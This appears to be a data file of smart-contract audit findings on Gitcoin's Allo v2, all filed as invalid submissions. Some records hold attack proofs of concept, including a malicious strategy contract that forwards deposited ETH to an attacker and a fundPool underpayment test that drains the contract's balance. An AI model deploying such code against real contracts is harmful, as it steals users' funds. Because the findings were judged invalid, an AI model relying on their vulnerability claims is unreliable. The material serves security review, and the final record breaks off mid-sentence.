like:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\nWhile this accounting approach would work fine with regular tokens, it will fail with rebasing tokens due to the dynamic nature of the rebasing token's `balanceOf()`. Any additional tokens received as interest or as part of an airdrop would not be reflected in `poolAmount` and would thus remain locked in the strategy contract.\n\n## Impact\nAny additional rebasing tokens accrued as an interest or received as part of an airdrop would remain stuck in the strategy contract.\n\n## Code Snippet\n\nSee above\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThis issue could be addressed in different ways:\n- Exclude support for rebasing tokens, possibly by maintaining a token blacklist controlled by the protocol owner;\n- Enable pool owners to withdraw surplus tokens using a function akin to `Allo#recoverFunds()`;\n- Develop a more intricate allocation and distribution logic that accounts for the changing nature of pool amounts;","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/308.md"}} +{"title":"Corruptible upgradability pattern in Strategies due to inheriting from contracts that contain storage and no gap","severity":"info","body":"Polished Cyan Porpoise\n\nmedium\n\n# Corruptible upgradability pattern in Strategies due to inheriting from contracts that contain storage and no gap\nStrategies inherits from contracts that are not stateless and that don't contain storage gaps can be dangerous when upgrading.\n## Vulnerability Detail\n\nWhen creating upgradable contracts that inherit from other contracts is important that there are storage gap in case storage variable are added to inherited contracts.If an inherited contract is a stateless contract (it doesn't have any storage) then it is acceptable to omit a storage gap, since these function similar to libraries and aren't intended to add any storage. The issue is that `strategies` inherit from `BaseStratergy`contract that contains storage that don't contain any gaps . This can pose a significant risk when updating a contracts because they can shift the storage slots of all inherited contracts.\n\n## Impact\n\ncorruption of storage slots during an upgrade \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L35\n\n## Tool used\n\nManual Review , https://github.com/sherlock-audit/2022-09-notional-judging/issues/64\n\n## Recommendation\n\nAdd storage gaps to all inherited contracts that contain storage variables.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/307.md"}} +{"title":"Adversary can steal 99% of the depositor funds by deploying a malicious custom Strategy","severity":"info","body":"Polished Cyan Porpoise\n\nhigh\n\n# Adversary can steal 99% of the depositor funds by deploying a malicious custom Strategy\n\nAdversary can create a malicious pool with a `customStrategy ` where users can fund into it , this will allow the adversary to \ndirectly steal user funds. \n\n\n## Vulnerability Detail\n\nOnce a user creates a profile , a member of the profile or the profile owner can create a pool with a strategy,\nSo an adversary can create a custom Strategy by passing a malicious strategy address to `allo::createPoolWithCustomStrategy()`\n Check is `if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();` so it is not true therefore we can create a custom strategy passing any address we like , \n\nConsider a scenario ,\n1. Alice wants to fund a pool . \n2. Adversary creates a custom Strategy pool with a malicious intention. \n3. Adversary promotes the pool by impersonating the protocol brand saying fund the pool with this `pool_id` \n4. Alice interact with the frond-end to fund the pool with `pool _id`, this will result in immediate loss of funds ,creating a bad reputation to the protocol.\n Also all of the functions which calls the specific `strategyPool` through `Allo.sol` is now in control of adversary .He can implement what ever to do with it. \n\n\n`forge test --match-path ./test/foundry/core/Allo.sol --match-test test_With_MaliciousStrategy -vvvv`\n\n\n```diff\n\n+ StratergyCustom st ;\n+ address adversary = makeAddr(\"Adversary\");\n function setUp() public {\n\n __RegistrySetupFull();\n __AlloSetup(address(registry()));\n token = new MockERC20();\n token.mint(local(), mintAmount);\n token.mint(allo_owner(), mintAmount);\n token.mint(pool_admin(), mintAmount);\n token.approve(address(allo()), mintAmount);\n\n vm.prank(pool_admin());\n token.approve(address(allo()), mintAmount);\n\n strategy = address(new MockStrategy(address(allo())));\n\n vm.startPrank(allo_owner());\n allo().transferOwnership(local());\n vm.stopPrank();\n+ vm.startPrank(adversary); \n+st = new StratergyCustom();\n+ vm.stopPrank();\n }\n\n\n\n function test_With_MaliciousStrategy() public {\naddress user = makeAddr(\"user\");\n vm.deal(user , 1 ether);\n address[] memory poolManagers = new address[](1);\n poolManagers[0] = address(1);\n vm.prank(pool_admin());\n+ allo().createPoolWithCustomStrategy(poolProfile_id(), address(st), \"0x\", NATIVE, 0, metadata, poolManagers);\n \n vm.prank(user);\n allo().fundPool{value : 1 ether}(st.getPoolId(), 1 ether);\n }\n\n\n\ncontract StrategyCustom {\n event xp(string);\naddress immutable adversary;\n// address native = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\nconstructor () {\n adversary = msg.sender;\n}\n\nuint id;\nfunction initialize(uint256 _id , bytes memory _initStrategyData) public {\nid = _id;\n}\nfunction getPoolId() external view returns(uint) {\nreturn id;\n}\n\nfunction getAllo() external view returns (address) {\nreturn address(msg.sender);\n}\n\nfunction increasePoolAmount(uint256 wut) external {\nemit xp(\"Respect++\");\n}\nreceive() external payable {\n (bool s, ) =adversary.call{value : address(this).balance}(\"\");\nrequire(s);\n}\n\n}\n\n```\n\n```bash\n ā”œā”€ [9479] StratergyCustom::receive{value: 990000000000000000}() \n ā”‚ ā”‚ ā”œā”€ [0] Adversary::fallback{value: 990000000000000000}() \n ā”‚ ā”‚ ā”‚ ā””ā”€ ā† ()\n```\nWe were able to steal 99 % of ETH a user deposited to the pool and rest is paid as the protocol fee to the `Treasury`\n\n## Impact\n\nResult in loss of user funds /tokens\n\n## Code Snippet\n\n```js\n\n function createPoolWithCustomStrategy(\n bytes32 _profileId,\n address _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) external payable returns (uint256 poolId) {\n // Revert if the strategy address passed is the zero address with 'ZERO_ADDRESS()'\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n // Revert if we already have this strategy in our cloneable mapping with 'IS_APPROVED_STRATEGY()' (only non-cloneable strategies can be used)\n if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n\n\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L146\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider introducing a validation method to validate custom strategies before a user creates a pool using a custom strategy.\nSomething like validating a governance proposal. Also remember an attacker can still create metamorphic contracts just like \nthe tornando cash governance attack vector. \n\n```diff\n+ if(!_isApprovedCustomStratergy(address(stratergy))) revert IS_APPROVED_CUSTOM_STRATEGY();\n\nor else you can set in allo::createPoolWithCustomStrategy() as it is,\n\n- if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n+ if (!_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();\n\n```\nAlso Consider adding a `WARNING` on the front end if users try to interact with `customStrategies` created by arbitrary users other than using default Clonable Strategies provided by the protocol","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/305.md"}} +{"title":"ETH can be stolen when using the fundPool() function","severity":"info","body":"Passive Golden Skunk\n\nhigh\n\n# ETH can be stolen when using the fundPool() function\n\n## Vulnerability Detail\n\n```solidity\nfunction fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```\nWhen using the fundPool() function with native eth, anyone can steal contract funds. \n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount})); \n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); //@audit \n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThe _fundPool() function uses the _transferAmountFrom() function to send the fee amount to the treasury and amountAfterFee to the strategy.\n\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n }\n```\nWhen the token is native token , the function checks the transferData.amount and send it. \n\nLet's say someone uses the fundPool() function with msg.value = 9e18 and amount = 10e18.\nLet's say the fee is 10 percent. So [amountAfterFee](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L511) will be equal to 10e18 - 1e18 = 9e18.\nThe msg.value checks for both feeAmount and amountAfterFee will be passed, and the user can fund the pool more than it should.\n## Impact\nETH can be stolen from the contract.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502-L520\n## Tool used\n\nManual Review\n\n## Recommendation\nIf percentFee > 0 , msg.value needs to be greater than _amount + feeAmount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/301.md"}} +{"title":"QVSimpleStrategy contract does not work with native token","severity":"info","body":"Shiny Gingham Bee\n\nmedium\n\n# QVSimpleStrategy contract does not work with native token\nQVSimpleStrategy strategy can not work with native token\n\n## Vulnerability Detail\n`QVSimpleStrategy` does not implement `fallback()` function or `receive()` function ==> The process of funding pool using native token is always reverted\n\n## Impact\nNative token pools can not use QVSimpleStrategy\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L516\n\n## Tool used\nManual Review\n\n## Recommendation\nImplement `fallback()` or `receive()` for `QVSimpleStrategy` contract","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/299.md"}} +{"title":"pool's active/Inactive state is not enforced in core functions of BaseStrategy.sol","severity":"info","body":"Mythical Raisin Camel\n\nmedium\n\n# pool's active/Inactive state is not enforced in core functions of BaseStrategy.sol\nthe BaseStrategy contract in BaseStrategy.sol is supposed to have two main states, active and inactive state which is determined by the value in variable `poolActive` [[see link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L37)] but it seems they are not used for important core functions like `allocate`, `increasePoolAmount()` and `registerRecipient()`. These functions should not be callable when pool is inactive. \n\n## Vulnerability Detail\nThe vulns are: \n- it will be possible to deposit more funds into pool when it is inactive via `increasePoolAmount()`. \n- it will be possible to register new rceipients after pool is closed. via `registerRecipient()`.\n- it will be possible to allocate or reallocate funds to recipients when pool is inactive. \n\nThese functions are not supposed to be accessible when contract is inactive. New receipients should not be registered when pool is inactive. Funds should not be able to be reallocated when pool is inactive. \n\n## Impact\nImportant core functions are not well gated and thus arent in sync with the contracts active/inactive states. They have no restrictions that enforce pool's active or inactive state.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153C1-L186C6\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n\n\n /// @notice Registers a recipient.\n /// @dev Registers a recipient and returns the ID of the recipient. The encoded '_data' will be determined by the\n /// strategy implementation. Only 'Allo' contract can call this when it is initialized.\n /// @param _data The data to use to register the recipient\n /// @param _sender The address of the sender\n /// @return recipientId The recipientId\n function registerRecipient(bytes memory _data, address _sender)\n external\n payable\n onlyAllo\n onlyInitialized\n returns (address recipientId)\n {\n _beforeRegisterRecipient(_data, _sender);\n recipientId = _registerRecipient(_data, _sender);\n _afterRegisterRecipient(_data, _sender);\n }\n\n\n /// @notice Allocates to a recipient.\n /// @dev The encoded '_data' will be determined by the strategy implementation. Only 'Allo' contract can\n /// call this when it is initialized.\n /// @param _data The data to use to allocate to the recipient\n /// @param _sender The address of the sender\n function allocate(bytes memory _data, address _sender) external payable onlyAllo onlyInitialized {\n _beforeAllocate(_data, _sender);\n _allocate(_data, _sender);\n _afterAllocate(_data, _sender);\n }\n```\nin the functions `allocate`, `increasePoolAmount()` and `registerRecipient()` there is no use of modifier `onlyActivePool` to check the states whether inactive or active. \n## Tool used\n\nManual Review\n\n## Recommendation\nuse the modifier `onlyActivePool` on the functions `allocate`, `increasePoolAmount()` and `registerRecipient()` so they revert when pool is inactive.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/297.md"}} +{"title":"reviewRecipients does not verify the set status","severity":"info","body":"Lucky Sand Tapir\n\nmedium\n\n# reviewRecipients does not verify the set status\n\nreviewRecipients does not verify the set status\n\n## Vulnerability Detail\n\nThe position of status in statusBitMap is determined by recipientsCounter++. If it exceeds the range, it will affect _registerRecipient.\n\nAnd if the value in fullRow is not in status (0, 1, 2, 3, 4), the status will not be processed.\n\n\n## Impact\n\nIf the set state is outside the control range, the Recipient will not be able to enter the next state.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341-L360\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L582-L590\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAccurate judgment is more gas-intensive. You can judge the range and use bit operations to eliminate some of the unexpected results in fullRow, thereby reducing the possibility of exceptions.Consider exception status when handling status","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/296.md"}} +{"title":"Allo contract's funds can be used for paying funding fees","severity":"info","body":"Digital Berry Horse\n\nmedium\n\n# Allo contract's funds can be used for paying funding fees\nAllo contract's funds can be used for paying funding fees.\n## Vulnerability Detail\nAllo contract can hold funds in two ways: \n\n1. A _pool admin_ mistakenly sends funds when using _registerRecipient_, which will be locked in Allo, since the msg.value is not used when calling the strategy's _registerRecipient_.\n2. Funds are sent as a donations, as stated in the docs: _Funds sent to Allo.sol are considered a gift to the Allo protocol team_\n\nOnce Allo contract holds some funds, a user can fund a pool that uses the native token with a lower _msg.value_ than _amount_ parameter. When paying the _feeAmount_ and _amountAfterFee_ for funding the pool the _Transfer_ library will be used. The check _msg.value < amount_ will pass because the check is done separately for both payments. This will result in funds being sent from Allo in order to fund the strategy contract, since the _msg.value_ will not be sufficient. PoC:\n\n function test_fundPoolAttacker() public {\n uint256 percentFee = 1e17;\n \n allo().updatePercentFee(percentFee); // 10%\n address attacker = makeAddr(\"Attacker\");\n \n vm.deal(pool_admin(), 100 * 1e18);\n vm.deal(attacker, 100 * 1e18);\n \n console.log(\"***** STARTING BALANCES *****\");\n console.log(\"Pool admin ETH balance: %d\", address(pool_admin()).balance);\n console.log(\"Attacker ETH balance: %d\", attacker.balance);\n console.log(\"Allo contract ETH balance: %d\", address(allo()).balance);\n console.log(\"Treasury ETH balance: %d\", allo().getTreasury().balance); \n console.log(\"*****************************\");\n \n vm.prank(pool_admin());\n uint256 poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n vm.prank(pool_admin());\n // Pool admin mistakenly sends ETH to Allo contract\n // Or funds are sent as a donations, as stated in the docs: \n // \"Funds sent to Allo.sol are considered a gift to the Allo protocol team\"\n allo().registerRecipient{value: 100 * 1e18}(poolId, bytes(\"\"));\n \n vm.prank(attacker); // Sends 90 in msg.value, but 100 in the amount parameter\n allo().fundPool{value: 90 * 1e18}(poolId, 100 * 1e18);\n \n console.log(\"***** FINAL BALANCES *****\");\n console.log(\"Pool admin ETH balance: %d\", address(pool_admin()).balance);\n console.log(\"Attacker ETH balance: %d\", attacker.balance);\n console.log(\"Allo contract ETH balance: %d\", address(allo()).balance);\n console.log(\"Treasury ETH balance: %d\", allo().getTreasury().balance);\n console.log(\"Strategy contract ETH balance: %d\",address(strategy).balance); // Receives the whole 90 sent in msg.value\n console.log(\"*****************************\");\n // pool_admin is not able to get funds back\n }\n\nOutput:\n ***** STARTING BALANCES *****\n Pool admin ETH balance: 100000000000000000000\n Attacker ETH balance: 100000000000000000000\n Allo contract ETH balance: 0\n Treasury ETH balance: 0\n *****************************\n ***** FINAL BALANCES *****\n Pool admin ETH balance: 0\n Attacker ETH balance: 10000000000000000000\n Allo contract ETH balance: 90000000000000000000\n Treasury ETH balance: 10000000000000000000\n Strategy contract ETH balance: 90000000000000000000\n *****************************\n## Impact\nMistakenly sent funds and donation funds can be used for paying the fees of funding a pool that uses the native token.\n## Code Snippet\nFunding the pool:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L496-L520\nTransfer library function used for making the payments:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\nDocumentation of funding a pool:\nhttps://docs.allo.gitcoin.co/allo/flow-of-funds#funding-a-pool\nRegister recipient function which is payable, but the _msg.value_ will be sent to Allo instead of the strategy:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nEven if sending funds mistakenly to the contract when using _registerRecipient()_ may be users mistake, I would make this function non payable. Also, when funding a pool, there must be a check that _msg.value > amount (parameter)_ when using native token in order to prevent Allo from paying instead of the user.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/294.md"}} +{"title":"An appealed recipient is locked out of any functionality in QVBaseStrategy","severity":"info","body":"Mysterious Lava Lynx\n\nhigh\n\n# An appealed recipient is locked out of any functionality in QVBaseStrategy\nUser can be appealed through `_registerRecipient` if before that he was in a rejected state.\n\n```solidity\nif (currentStatus == Status.None) {\n\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n\n } else {\n\n if (currentStatus == Status.Accepted) {\n\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n\n } else if (currentStatus == Status.Rejected) {\n\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n```\n\n## Vulnerability Detail\n\nHowever, if a user is appealed, he becomes locked out of the contract and can't be added any other status, because of the following:\n\n**1.)** If a pool manager tries to review his status again, it will always revert, so he can't be set any status through: \n\n```solidity\nfunction reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n // make sure the arrays are the same length\n uint256 recipientLength = _recipientIds.length;\n if (recipientLength != _recipientStatuses.length) revert INVALID();\n\n for (uint256 i; i < recipientLength;) {\n Status recipientStatus = _recipientStatuses[i];\n address recipientId = _recipientIds[i];\n\n // if the status is none or appealed then revert\n if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n reviewsByStatus[recipientId][recipientStatus]++;\n\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n emit Reviewed(recipientId, recipientStatus, msg.sender);\n\n unchecked {\n ++i;\n }\n }\n }\n```\n\nAs you can see `if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {\n revert RECIPIENT_ERROR(recipientId);\n }\n` forbids reviewing an appealed recipient\n\n**2.)** He can't be processed through `_registerRecipient` because there is no logic to handle the case when a recipient is in the appealed state:\n\n```solidity\nif (currentStatus == Status.None) {\n\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n\n } else {\n\n if (currentStatus == Status.Accepted) {\n\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n\n } else if (currentStatus == Status.Rejected) {\n\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n```\n\nNo logic to handle appealed recipients\n\n## Impact\n\nAppealed recipients become locked out of the `QVBaseStrategy.sol`.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369-L430\n\n## Tool used\n\nManual Review\n\n## Recommendation\nRefactor the code to handle appealed statuses","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/293.md"}} +{"title":"Contracts are vulnerable to rebasing accounting-related issues","severity":"info","body":"Low Ivory Wombat\n\nmedium\n\n# Contracts are vulnerable to rebasing accounting-related issues\n\nContracts are vulnerable to rebasing accounting-related issues\n\n## Vulnerability Detail\n\nSome tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style rebasing tokens, Compound style airdrops of governance tokens, mintable/burnable tokens).\n\nSome smart contract systems cache token balances (e.g. Balancer, Uniswap-V2), and arbitrary modifications to underlying balances can mean that the contract is operating with outdated information.\n\nIn the case of Ampleforth, some Balancer and Uniswap pools are special cased to ensure that the pool's cached balances are atomically updated as part of the rebase procedure ([details](https://www.ampltalk.org/app/forum/technology-development-17/topic/supported-dex-pools-61/)).\n\n## Impact\n\n## Code Snippet\n\n```solidity\n\n512: _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n\n515: _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\n```\n\n[513](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L513), [515](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L515)\n\n```solidity\n\n482: _transferAmount(token, address(this), amount);\n\n```\n\n[482](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/_poc/donation-voting/DonationVotingStrategy.sol#L482)\n\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/292.md"}} +{"title":"Allocators can manipulate `_getPayout` by voting with small amounts","severity":"info","body":"Obedient Basil Lizard\n\nhigh\n\n# Allocators can manipulate `_getPayout` by voting with small amounts\nDue to how [_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574) calculates the payout, voters can manipulate it by voting for different users with small amounts.\n\n## Vulnerability Detail\nAllocators can vote for different recipients to manipulate [_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574) accounting. [_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465) uses `_getPayout` to calculate the amounts to distribute, thus the allocators effectively acquire more fund with the same amount of votes.\n\n| *Prerequisites* | *Values* |\n|---------------------------------|----------|\n| Cause A allocators : recipients | 2 : 2 |\n| Cause B allocators : recipients | 2 : 2 |\n| Allocator | 4 |\n| Recipients | 4 |\n| Allocator voice credits | 100 |\n\n**Normal voting**\n\nThe 2 allocators of cause **A** vote 100 voice credits for each recipient of cause A, and side B does the same. This will result in every recipient to have 10 votes, since the calculation for the votes is `sqrt(voice credits allocated) => sqrt(100) => 10` ( [_qv_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L522)). All of the funds will be slit equally, because all 4 recipients ( 2 for **A** and 2 for **B** ) will each have 10 votes => 40 cotes in total => 25% of the funds are send for every 10 votes.\n\n**Manipulation tactic**\n\nHowever on the next vote, one side will manipulate the votes, lest say **A**, while **B** will do the same as before. The allocators of **A** will each vote 50 votes to their 2 recepients `sqrt(50) => 7.07` and each recepient of **cause A** will receive \n`2 * 7.07 = 14.14` votes. This will result in 2 recipients of **cause A** having 14.14 votes each and 2 recipients of **cause B** having 10 votes each. \n\nWith total of 48.28 vote **party A** will hold **~58.5%** and **party B** will hold **~41.5%** of the treasury. \nEffectively **party A** acquires more funds for **cause A** while having the same voting power.\n\n## Impact\nUser able to manipulate the fund allocation of [_getPayout](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574).\n\n## Code Snippet\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nBecause of the way this entire protocol is implemented, I am unsure about the best solution for addressing this vulnerability.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/290.md"}} +{"title":"Pool creation always charges more than necessary","severity":"info","body":"Urban Strawberry Monkey\n\nmedium\n\n# Pool creation always charges more than necessary\nIf a `baseFee` is set in `Allo`, the implementation of `_createPool()` which is used by `createPoolWithCustomStrategy()` and `createPool()` requires more funds than necessary and thus always incurs (albeit small) loss for the pool owner.\n\n## Vulnerability Detail\nThe following implementation takes care of charging `baseFee` upon pool creation:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\nThe condition of the `if` statement is written in such a way that even if pool owner provides sufficient funds (`amount` + `baseFee`), they would not satisfy the condition and thus would not be able to successfully create a pool. The transaction would revert with `NOT_ENOUGH_FUNDS()` error.\n\nIn order to succeed, the function must be called with at least `1 wei` more than necessary. The error itself is also not descriptive enough and does not hint the pool owner what is the expected amount (which is incorrect) and this could lead pool owners depositing more funds than necessary and incurring unnecessary fund loss for them.\n\n## Impact\n- Loss of funds for pool owners\n- Gas cost losses due to failed transaction executions\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n## Tool used\n\nManual Review\n\n## Recommendation\nFix the `if` condition as follows:\n```solidity\n if (baseFee > 0) {\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) { //@audit Fix the if condition\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/287.md"}} +{"title":"Solidity version 0.8.20 may not work on other chains due to `PUSH0`","severity":"info","body":"Low Ivory Wombat\n\nmedium\n\n# Solidity version 0.8.20 may not work on other chains due to `PUSH0`\nSolidity version 0.8.20 may not work on other chains due to `PUSH0`\n## Vulnerability Detail\nThe compiler for Solidity 0.8.20 switches the default target EVM version to [Shanghai](https://blog.soliditylang.org/2023/05/10/solidity-0.8.20-release-announcement/#important-note), which includes the new PUSH0 op code.\n## Impact\nThis op code may not yet be implemented on all L2s, so deployment on these chains will fail.\n## Code Snippet\n*Instances 